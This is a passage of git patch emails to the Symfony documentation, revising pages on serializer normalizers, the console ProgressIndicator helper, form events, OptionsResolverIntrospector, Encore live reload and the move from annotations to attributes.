zim0%4Eq+sFFd$K*hzoqfD4_O`0wJ*1WSI-}Fcj{D!ktjK6C&qF=c_a;4h0xX79!^Z
z7VaSDa#oYmX`ddqFGus6Ju0F`lX?G}$sm>H*i`ONLEmoW&P9eWRPKbzolv>+<|=n^
zpczBc3;~$nfo6otouMjsj)*~uOT-}8B-(ReLIb@Z(kS8_VjF{`j9c=;&m}J>#UQ)7
zxu>NIsS1I}*BywATy{L$Va%c4{D++D^f1375fE7VbhmJ1i}fOH=2AOb-2O)kt(8mP
zM&8xE4g+@_1TVHdy!Uc|k<$xTp6-byVD}0bJ;MaR2ur`OkC#>tim)`Vk2n9NP}5OD
zqPH7Da2>f2JqXc*5IqR*{Rq*6JxP;SM1qK89zq8pbnqv<^kX0Oa<59%ZoJ@V0RCk(
zkw#O)z=U??_3@kMU>6y}K*RzO3q&kz;{+nsU!{iaDjT?1;9}mmSaY1k&#Jup&>ZOB
Sc^NP6KKvijQ_WN&i~s=mRfjVG


From 7b9f807a7b56e1886530865504dda235a0d779e1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 13:38:11 +0200
Subject: [PATCH 3530/5766] [Serializer] Remove
 `CacheableSupportsMethodInterface`

---
 serializer/custom_normalizer.rst | 41 ++++----------------------------
 1 file changed, 5 insertions(+), 36 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index ec121a2f54b..25528fff54e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -63,8 +63,8 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
-Performance
------------
+Performance of Normalizers/Denormalizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 To figure which normalizer (or denormalizer) must be used to handle an object,
 the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
@@ -72,39 +72,10 @@ the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
 (or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
 of all registered normalizers (or denormalizers) in a loop.
 
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
-.. deprecated:: 6.3
-
-    The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-    interface is deprecated since Symfony 6.3. You should implement the
-    ``getSupportedTypes()`` method instead, as shown in the section below.
-
-Improving Performance of Normalizers/Denormalizers
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.3
-
-    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
-
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
+Additionally, both
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
 and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
-contain a new method ``getSupportedTypes()``. This method allows normalizers or
+contain the ``getSupportedTypes()`` method. This method allows normalizers or
 denormalizers to declare the type of objects they can handle, and whether they
 are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
 the Serializer can skip a ton of method calls to ``supports*()`` improving
@@ -148,5 +119,3 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
 
 Note that ``supports*()`` method implementations should not assume that
 ``getSupportedTypes()`` has been called before.
-
-.. _`API Platform`: https://api-platform.com

From 818f0e131c34b0da2739e88fdb31c9263e2890e0 Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Mon, 17 Jul 2023 18:20:59 +0100
Subject: [PATCH 3531/5766] Update micro_kernel_trait.rst

The operator to assign the route name should be ':' instead of "="
---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index feda47d5f16..44b930367cf 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -55,7 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name='random_number')]
+            #[Route('/random/{limit}', name:'random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 84dd67d810e8e374e29f45f78071b8bf90e94326 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jul 2023 17:43:49 +0200
Subject: [PATCH 3532/5766] Minor tweak

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 44b930367cf..6955d36a205 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -55,7 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name:'random_number')]
+            #[Route('/random/{limit}', name: 'random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 603f6aa734f95d302034bb4e037a765e43acf698 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 18 Jul 2023 17:20:53 +0200
Subject: [PATCH 3533/5766] [Console] Add `ProgressIndicator` page

---
 components/console/helpers/progressbar.rst    |   6 +
 .../console/helpers/progressindicator.rst     | 126 ++++++++++++++++++
 console.rst                                   |   1 +
 3 files changed, 133 insertions(+)
 create mode 100644 components/console/helpers/progressindicator.rst

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index fb3f2acfe7b..3e43452a737 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -81,6 +81,12 @@ The progress will then be displayed as a throbber:
      1/3 [=========>------------------]  33%
      3/3 [============================] 100%
 
+.. tip::
+
+    An alternative to this is to use a
+    :doc:`/components/console/helpers/progressindicator` instead of a
+    progress bar.
+
 Whenever your task is finished, don't forget to call
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::finish` to ensure
 that the progress bar display is refreshed with a 100% completion.
diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
new file mode 100644
index 00000000000..9cd82b0aed1
--- /dev/null
+++ b/components/console/helpers/progressindicator.rst
@@ -0,0 +1,126 @@
+Progress Indicator
+==================
+
+When executing longer-running commands without knowing if the the processing
+is nearly done or not, it may be helpful to show that something is actually
+happening and that updates as your command runs.
+
+To do so, use the
+:class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator` and advance the
+progress as the command executes::
+
+    use Symfony\Component\Console\Helper\ProgressIndicator;
+
+    // creates a new progress indicator
+    $progressIndicator = new ProgressIndicator($output);
+
+    // starts and displays the progress indicator with a custom message
+    $progressIndicator->start('Processing...');
+
+    $i = 0;
+    while ($i++ < 50) {
+        // ... do some work
+
+        // advances the progress indicator
+        $progressIndicator->advance();
+    }
+
+    // ensures that the progress indicator shows a final message
+    $progressIndicator->finish('Finished');
+
+Customizing the Progress Indicator
+----------------------------------
+
+Built-in Formats
+~~~~~~~~~~~~~~~~
+
+By default, the information rendered on a progress indicator depends on the current
+level of verbosity of the ``OutputInterface`` instance:
+
+.. code-block:: text
+
+    # OutputInterface::VERBOSITY_NORMAL (CLI with no verbosity flag)
+     \ Processing...
+     | Processing...
+     / Processing...
+     - Processing...
+
+    # OutputInterface::VERBOSITY_VERBOSE (-v)
+     \ Processing... (1 sec)
+     | Processing... (1 sec)
+     / Processing... (1 sec)
+     - Processing... (1 sec)
+
+    # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv) and OutputInterface::VERBOSITY_DEBUG (-vvv)
+     \ Processing... (1 sec, 6.0 MiB)
+     | Processing... (1 sec, 6.0 MiB)
+     / Processing... (1 sec, 6.0 MiB)
+     - Processing... (1 sec, 6.0 MiB)
+
+.. note::
+
+    If you call a command with the quiet flag (``-q``), the progress indicator won't
+    be displayed.
+
+Instead of relying on the verbosity mode of the current command, you can also
+force a format via the second argument of the ``ProgressIndicator``
+constructor::
+
+    $progressIndicator = new ProgressIndicator($output, 'verbose');
+
+The built-in formats are the following:
+
+* ``normal``
+* ``verbose``
+* ``very_verbose``
+
+If your terminal doesn't support ANSI, use the ``no_ansi`` variants:
+
+* ``normal_no_ansi``
+* ``verbose_no_ansi``
+* ``very_verbose_no_ansi``
+
+Custom Indicator Values
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of using the built-in indicator values, you can also set your own::
+
+    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, ['⠏', '⠛', '⠹', '⢸', '⣰', '⣤', '⣆', '⡇']);
+
+The progress indicator will now look like this:
+
+.. code-block:: text
+
+     ⠏ Processing...
+     ⠛ Processing...
+     ⠹ Processing...
+     ⢸ Processing...
+
+Customize Placeholders
+~~~~~~~~~~~~~~~~~~~~~~
+
+A progress indicator uses placeholders (a name enclosed with the ``%``
+character) to determine the output format. Here is a list of the
+built-in placeholders:
+
+* ``indicator``: The current indicator;
+* ``elapsed``: The time elapsed since the start of the progress indicator;
+* ``memory``: The current memory usage;
+* ``message``: used to display arbitrary messages in the progress indicator.
+
+If you want to customize a placeholder, for example the ``message`` one, here
+is how you should do this::
+
+    ProgressIndicator::setPlaceholderFormatterDefinition(
+        'message',
+        static function (ProgressIndicator $progressIndicator): string {
+            // Return any arbitrary string
+            return 'My custom message';
+        }
+    );
+
+.. note::
+
+    Placeholders customization is applied globally, which means that any
+    progress indicator displayed after the
+    ``setPlaceholderFormatterDefinition()`` call will be affected.
diff --git a/console.rst b/console.rst
index 04c53fddae9..4078bfc221d 100644
--- a/console.rst
+++ b/console.rst
@@ -587,6 +587,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/questionhelper`: interactively ask the user for information
 * :doc:`/components/console/helpers/formatterhelper`: customize the output colorization
 * :doc:`/components/console/helpers/progressbar`: shows a progress bar
+* :doc:`/components/console/helpers/progressindicator`: shows a progress indicator
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program

From aeee3056b4ce0efd133cfff6038c3c7060b1733e Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 20 Jul 2023 10:28:59 +0200
Subject: [PATCH 3534/5766] [Form] Improve form type methods explanation

---
 form/create_custom_field_type.rst | 41 +++++++++++++++++--------------
 1 file changed, 22 insertions(+), 19 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2ae299fbd18..cfd8a872a0d 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -116,25 +116,6 @@ These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
-``buildForm()``
-    It adds and configures other types into this type. It's the same method used
-    when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
-
-``buildView()``
-    It sets any extra variables you'll need when rendering the field in a template.
-
-``finishView()``
-    This method allows to modify the "view" of any rendered widget. This is useful
-    if your form type consists of many fields, or contains a type that produces
-    many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
-    recommended to use ``buildView()`` instead.
-
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
     functionality), add this method to return the fully-qualified class name
@@ -149,6 +130,28 @@ These are the most important methods that a form type class can define:
     :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
     type, which is the root parent for all form types in the Form component.
 
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in the following methods. Options are inherited
+    from parent types and parent type extensions, but you can create any custom
+    option you need.
+
+``buildForm()``
+    It configures the current form and may add nested fields. It's the same
+    method used when
+    :ref:`creating Symfony form classes <creating-forms-in-classes>`.
+
+``buildView()``
+    It sets any extra variables you'll need when rendering the field in a form
+    theme template.
+
+``finishView()``
+    Same as ``buildView()``. This is useful only if your form type consists of
+    many fields (i.e. A ``ChoiceType`` composed of many radio or checkboxes),
+    as this method will allow accessing child views with
+    ``$view['child_name']``. For any other use case, it's recommended to use
+    ``buildView()`` instead.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 58b2e40b717cd026fce4554cb17c7a919c9d606a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Jul 2023 11:17:36 +0200
Subject: [PATCH 3535/5766] [Twig] Typo

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 22641a19f06..e3e124a6bab 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -85,7 +85,7 @@ autoescape_service_method
 If ``autoescape_service`` option is defined, then this option defines the method
 called to determine the default escaping applied to the template.
 
-If the service defined in ``autoescape_service`` in invocable (i.e. it defines
+If the service defined in ``autoescape_service`` is invocable (i.e. it defines
 the `__invoke() PHP magic method`_) you can omit this option.
 
 .. versionadded:: 6.4

From f041d70e925bf86355b92eaa1dde60f4e8478885 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 20 Jul 2023 11:19:20 +0200
Subject: [PATCH 3536/5766] [Form] Fix form data related events definition

---
 form/events.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 092be472012..37c3918d67d 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -48,10 +48,12 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 .........................................
 
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
-``Form::setData()`` method. It can be used to:
-
-* Modify the data given during pre-population;
-* Modify a form depending on the pre-populated data (adding or removing fields dynamically).
+``Form::setData()`` method. It is used to modify the data given during
+pre-population with
+:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
+The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
+is locked since the event is dispatched from it and will throw an exception
+if called from a listener.
 
 ===============  ========
 Data Type        Value
@@ -66,13 +68,6 @@ View data        ``null``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
-
-    During ``FormEvents::PRE_SET_DATA``,
-    :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
-    is locked and will throw an exception if used. If you wish to modify
-    data, you should use
-    :method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`
     instead.
 
 .. sidebar:: ``FormEvents::PRE_SET_DATA`` in the Form component
@@ -88,8 +83,8 @@ B) The ``FormEvents::POST_SET_DATA`` Event
 
 The ``FormEvents::POST_SET_DATA`` event is dispatched at the end of the
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
-method. This event is mostly here for reading data after having pre-populated
-the form.
+method. This event can be used to modify a form depending on the populated data
+(adding or removing fields dynamically).
 
 ===============  ====================================================
 Data Type        Value

From db2af1f504b50653c6849c3229499e9e9b6ce173 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 20 Jul 2023 11:34:01 +0200
Subject: [PATCH 3537/5766] fix reference

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6765b43a1a5..37404ef5dbc 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>`) and
+an `ES module shim`_ (see the :ref:`polyfill config <config-importmap-polyfill>`) and
 a few other things, like a set of "preloads":
 
 .. code-block:: html

From 57bf70792c08f559aa2a54deaa65fa0e1fc43499 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 11:36:42 +0200
Subject: [PATCH 3538/5766] Minor tweaks

---
 .../console/helpers/progressindicator.rst     | 20 +++++++++----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index 9cd82b0aed1..d64ec6367b7 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -1,13 +1,13 @@
 Progress Indicator
 ==================
 
-When executing longer-running commands without knowing if the the processing
-is nearly done or not, it may be helpful to show that something is actually
-happening and that updates as your command runs.
+Progress indicators are useful to let users know that a command isn't stalled.
+Unlike :doc:`progress bars </components/console/helpers/progressbar>`, these
+indicators are used when the command duration is indeterminate (e.g. long-running
+commands, unquantifiable tasks, etc.)
 
-To do so, use the
-:class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator` and advance the
-progress as the command executes::
+They work by instantiating the :class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator`
+class and advancing the progress as the command executes::
 
     use Symfony\Component\Console\Helper\ProgressIndicator;
 
@@ -57,10 +57,9 @@ level of verbosity of the ``OutputInterface`` instance:
      / Processing... (1 sec, 6.0 MiB)
      - Processing... (1 sec, 6.0 MiB)
 
-.. note::
+.. tip::
 
-    If you call a command with the quiet flag (``-q``), the progress indicator won't
-    be displayed.
+    Call a command with the quiet flag (``-q``) to not display any progress indicator.
 
 Instead of relying on the verbosity mode of the current command, you can also
 force a format via the second argument of the ``ProgressIndicator``
@@ -108,8 +107,7 @@ built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress indicator.
 
-If you want to customize a placeholder, for example the ``message`` one, here
-is how you should do this::
+For example, this is how you can customize the ``message`` placeholder::
 
     ProgressIndicator::setPlaceholderFormatterDefinition(
         'message',

From 887f6f504f28e05a3b70770d35057a3e5aa6f4e4 Mon Sep 17 00:00:00 2001
From: PululuK <pululuandre@hotmail.com>
Date: Mon, 17 Jul 2023 12:46:19 +0200
Subject: [PATCH 3539/5766] add `OptionsResolverIntrospector`usage doc

---
 components/options_resolver.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 3e7c657b79f..9c9ce53e524 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -944,3 +944,24 @@ method ``clearOptionsConfig()`` and call it periodically::
 
 That's it! You now have all the tools and knowledge needed to process
 options in your code.
+
+Get More Insights
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The `OptionsResolverIntrospector` inspect options definitions inside an `OptionsResolver` instance.
+
+method::
+
+   use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
+   use Symfony\Component\OptionsResolver\OptionsResolver;
+
+    $resolver = new OptionsResolver();
+    $resolver->setDefaults([
+        'host' => 'smtp.example.org',
+        'port' => 25,
+    ]);
+
+    $introspector = new OptionsResolverIntrospector($resolver);
+    $introspector->getDefault('host'); // Retrieves "smtp.example.org"
+
+

From ad6e24af52c2e26ee4d192216354527fd6bf294c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 13:02:09 +0200
Subject: [PATCH 3540/5766] Minor tweaks

---
 components/options_resolver.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 9c9ce53e524..89864774d8f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -945,12 +945,11 @@ method ``clearOptionsConfig()`` and call it periodically::
 That's it! You now have all the tools and knowledge needed to process
 options in your code.
 
-Get More Insights
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Getting More Insights
+~~~~~~~~~~~~~~~~~~~~~
 
-The `OptionsResolverIntrospector` inspect options definitions inside an `OptionsResolver` instance.
-
-method::
+Use the ``OptionsResolverIntrospector`` to inspect the options definitions
+inside an ``OptionsResolver`` instance::
 
    use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
    use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -963,5 +962,3 @@ method::
 
     $introspector = new OptionsResolverIntrospector($resolver);
     $introspector->getDefault('host'); // Retrieves "smtp.example.org"
-
-

From 847c1a00a76eb414091474ea1632789b16ef5df6 Mon Sep 17 00:00:00 2001
From: Julien Gidel <gidjulien@gmail.com>
Date: Mon, 17 Jul 2023 23:07:09 +0200
Subject: [PATCH 3541/5766] Update definition.rst

---
 components/config/definition.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index eaae06c4450..1779f6ae3db 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -870,3 +870,9 @@ Otherwise the result is a clean array of configuration values::
         $databaseConfiguration,
         $configs
     );
+
+.. caution::
+
+    When processing the configuration tree, the processor assumes the top level 
+    array key is already stripped off. If you want a root name, you should
+    add it to your tree builder as an array node.

From 53acc819a55d25650f0348ceddb05d816eb034b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 13:26:13 +0200
Subject: [PATCH 3542/5766] Minor tweak

---
 components/config/definition.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 1779f6ae3db..437c93322d6 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -873,6 +873,5 @@ Otherwise the result is a clean array of configuration values::
 
 .. caution::
 
-    When processing the configuration tree, the processor assumes the top level 
-    array key is already stripped off. If you want a root name, you should
-    add it to your tree builder as an array node.
+    When processing the configuration tree, the processor assumes that the top
+    level array key (which matches the extension name) is already stripped off.

From 0b3ff045de8c4f23af3c396e8700925d16678933 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lud=C4=9Bk=20Uiberlay?= <ludek@ludek.biz>
Date: Fri, 7 Jul 2023 22:02:36 +0200
Subject: [PATCH 3543/5766] [Encore] Webpack Dev Server: live reload & HMR

---
 frontend/encore/dev-server.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 6fcdaee6fd6..4feecb3deec 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -128,6 +128,34 @@ your page. HMR works automatically with CSS (as long as you're using the
 ``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
 (like :doc:`Vue.js </frontend/encore/vuejs>`).
 
+Live Reloading when changing PHP / Twig Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To utilize the HMR superpower along with live reload for your PHP code and
+templates, set the following options:
+
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.liveReload = true;
+            options.static = {
+                watch: false
+            };
+            options.watchFiles = {
+                paths: ['src/**/*.php', 'templates/**/*'],
+            };
+        })
+
+The ``static.watch`` option is required to disable the default reloading of
+files from the static directory, as those files are already handled by HMR.
+
 .. versionadded:: 1.0.0
 
     Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line

From e415d19effba36054ad8796a5d39bc8d9a154fdc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 21 Jul 2023 09:23:55 +0200
Subject: [PATCH 3544/5766] [Best Practices] Remove annotations paragraph

---
 best_practices.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index d500cfc34e0..99087809395 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -207,9 +207,6 @@ Doctrine supports several metadata formats, but it's recommended to use PHP
 attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
-If your PHP version doesn't support attributes yet, use annotations, which is
-similar but requires installing some extra dependencies in your project.
-
 Controllers
 -----------
 

From 03804299faa14eac85f947e795c03e87834eb976 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Jul 2023 16:50:17 +0200
Subject: [PATCH 3545/5766] [Documentation] Deprecate annotations

---
 best_practices.rst                           | 11 +--
 bundles/best_practices.rst                   |  6 +-
 components/config/resources.rst              |  2 +-
 components/serializer.rst                    |  6 +-
 components/validator/resources.rst           |  4 +
 configuration/micro_kernel_trait.rst         |  4 +-
 configuration/multiple_kernels.rst           |  2 +-
 controller.rst                               |  2 +-
 controller/upload_file.rst                   |  2 +-
 doctrine.rst                                 |  4 +-
 doctrine/associations.rst                    |  2 +-
 form/unit_testing.rst                        |  1 -
 page_creation.rst                            |  2 +-
 quick_tour/the_big_picture.rst               |  9 +--
 reference/attributes.rst                     |  9 ++-
 reference/configuration/doctrine.rst         | 16 ++--
 reference/constraints/DisableAutoMapping.rst |  2 +-
 reference/constraints/EnableAutoMapping.rst  |  2 +-
 routing.rst                                  | 78 ++++++++++----------
 routing/custom_route_loader.rst              |  2 +-
 security.rst                                 |  2 +-
 serializer.rst                               | 40 +---------
 22 files changed, 89 insertions(+), 119 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index d500cfc34e0..e22238f9f52 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -207,9 +207,6 @@ Doctrine supports several metadata formats, but it's recommended to use PHP
 attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
-If your PHP version doesn't support attributes yet, use annotations, which is
-similar but requires installing some extra dependencies in your project.
-
 Controllers
 -----------
 
@@ -226,12 +223,12 @@ controllers shouldn't contain any business logic. Controllers should contain
 nothing more than a few lines of *glue-code*, so you are not coupling the
 important parts of your application.
 
-.. _best-practice-controller-annotations:
+.. _best-practice-controller-attributes:
 
-Use Attributes or Annotations to Configure Routing, Caching, and Security
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Configure Routing, Caching, and Security
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using attributes or annotations for routing, caching, and security simplifies
+Using attributes for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you  require it,
 and it only uses one format.
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 72a394362fa..a616708c364 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -123,8 +123,8 @@ Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
 Translation files                                    ``translations/``
-Validation (when not using annotations)              ``config/validation/``
-Serialization (when not using annotations)           ``config/serialization/``
+Validation (when not using attributes)               ``config/validation/``
+Serialization (when not using attributes)            ``config/serialization/``
 Templates                                            ``templates/``
 Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
@@ -163,7 +163,7 @@ If the bundle includes Doctrine ORM entities and/or ODM documents, it's
 recommended to define their mapping using XML files stored in
 ``config/doctrine/``. This allows to override that mapping using the
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
-This is not possible when using annotations/attributes to define the mapping.
+This is not possible when using attributes to define the mapping.
 
 Tests
 -----
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 22f66e74332..f9b0fda61ae 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -30,7 +30,7 @@ an array containing all matches.
 Resource Loaders
 ----------------
 
-For each type of resource (YAML, XML, annotation, etc.) a loader must be
+For each type of resource (YAML, XML, attributes, etc.) a loader must be
 defined. Each loader should implement
 :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface` or extend the
 abstract :class:`Symfony\\Component\\Config\\Loader\\FileLoader` class,
diff --git a/components/serializer.rst b/components/serializer.rst
index 9e8838a37ee..4902d883935 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -288,7 +288,7 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
-.. _component-serializer-attributes-groups-annotations:
+.. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:
 
@@ -436,8 +436,8 @@ Ignoring Attributes
 All attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
-Option 1: Using ``@Ignore`` Annotation
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Option 1: Using ``#[Ignore]`` Attribute
